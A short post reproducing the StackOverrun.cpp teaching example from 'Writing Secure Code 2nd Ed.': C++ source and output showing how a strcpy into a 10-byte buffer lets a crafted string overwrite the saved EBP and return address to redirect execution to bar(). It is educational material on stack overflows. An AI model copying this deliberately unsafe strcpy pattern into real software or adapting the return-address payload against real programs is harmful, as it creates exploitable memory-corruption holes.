My StackOverrun.cpp (Writing Secure Code 2nd Ed.)

Here is the output (see p.129 Writing Secure Code 2nd Ed. )

Address of bar = 00401070

Entering foo().

My stack looks like:

^ 04030201 (buf[3], buf[2], buf[1], buf[0]) | Lower memory address

| 08070605 (buf[7], buf[6], buf[5], buf[4]) |

Stack | 00000009 (2-byte padding, buf[9], buf[8]) |

| 0012FEE4 (saved ebp ) |

| 00401106 (Return Address in main() code) |

| 0012FE9C v Higher memory address

1234567890..EBP.p?@

My stack looks like:

^ 34333231 (All this is now ) | Lower memory address

| 38373635 (filed with the string) |

Stack | 2E2E3039 (passed as parameter,) |

| 2E504245 (overwriting the saved EBP ) |

| 00401070 (and the return address!) |

| 0012FE9C v Higher memory address

Entering bar(). Augh! I've been hacked!

and the source code, compiled with VS.NET 2003 in Release mode without /GS, optimization nor /RTC, ran on Windows XP SP2 ~RC2:

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

void foo(const char* input)

{

printf( "\nEntering foo().\n") ;

char buf[10] = "\x1\x2\x3\x4\x5\x6\x7\x8\x9" ;

printf("My stack looks like:\n ^ %p (buf[3], buf[2], buf[1], buf[0]) | Lower memory address\n" \

" | %p (buf[7], buf[6], buf[5], buf[4]) |\n" \

"Stack | %p (2-byte padding, buf[9], buf[8]) |\n" \

" | %p (saved ebp ) |\n" \

" | %p (Return Address in main() code) |\n" \

" | %p v Higher memory address\n\n" ) ;

//Pass the user input straight to secure code public enemy #1.

strcpy(buf, input);

printf("%s\n\n", buf) ;

printf("My stack looks like:\n ^ %p (All this is now ) | Lower memory address\n" \

" | %p (filed with the string) |\n" \

"Stack | %p (passed as parameter,) |\n" \

" | %p (overwriting the saved EBP ) |\n" \

" | %p (and the return address!) |\n" \

" | %p v Higher memory address\n\n" ) ;

}

void bar()

{

printf( "\nEntering bar(). Augh! I've been hacked!\n") ;

exit(0) ; // Let's not spend time trying to return from this one, it would crash.

}

#include <strsafe.h>

void main()

{

printf( "Address of bar = %p\n\n", bar ) ;

// With the following code, we build the right buffer that would need to be infered

// and passed to our code (e.g argv, file, ...) in order to have the bar function called when

// returning from foo:

int p = reinterpret_cast<int>(bar) ;

char s[64] ; //

StringCchPrintf( s,

sizeof(s)/sizeof(s[0]),

"1234567890..EBP.%c%c%c%c", static_cast<char>(p & 0xFF),

static_cast<char>((p & 0xFF00) >> 8),

static_cast<char>((p & 0xFF0000) >> 16),

static_cast<char>((p & 0xFF000000) >> 24) ) ;

foo( s ) ; // We'll never come back from this call

}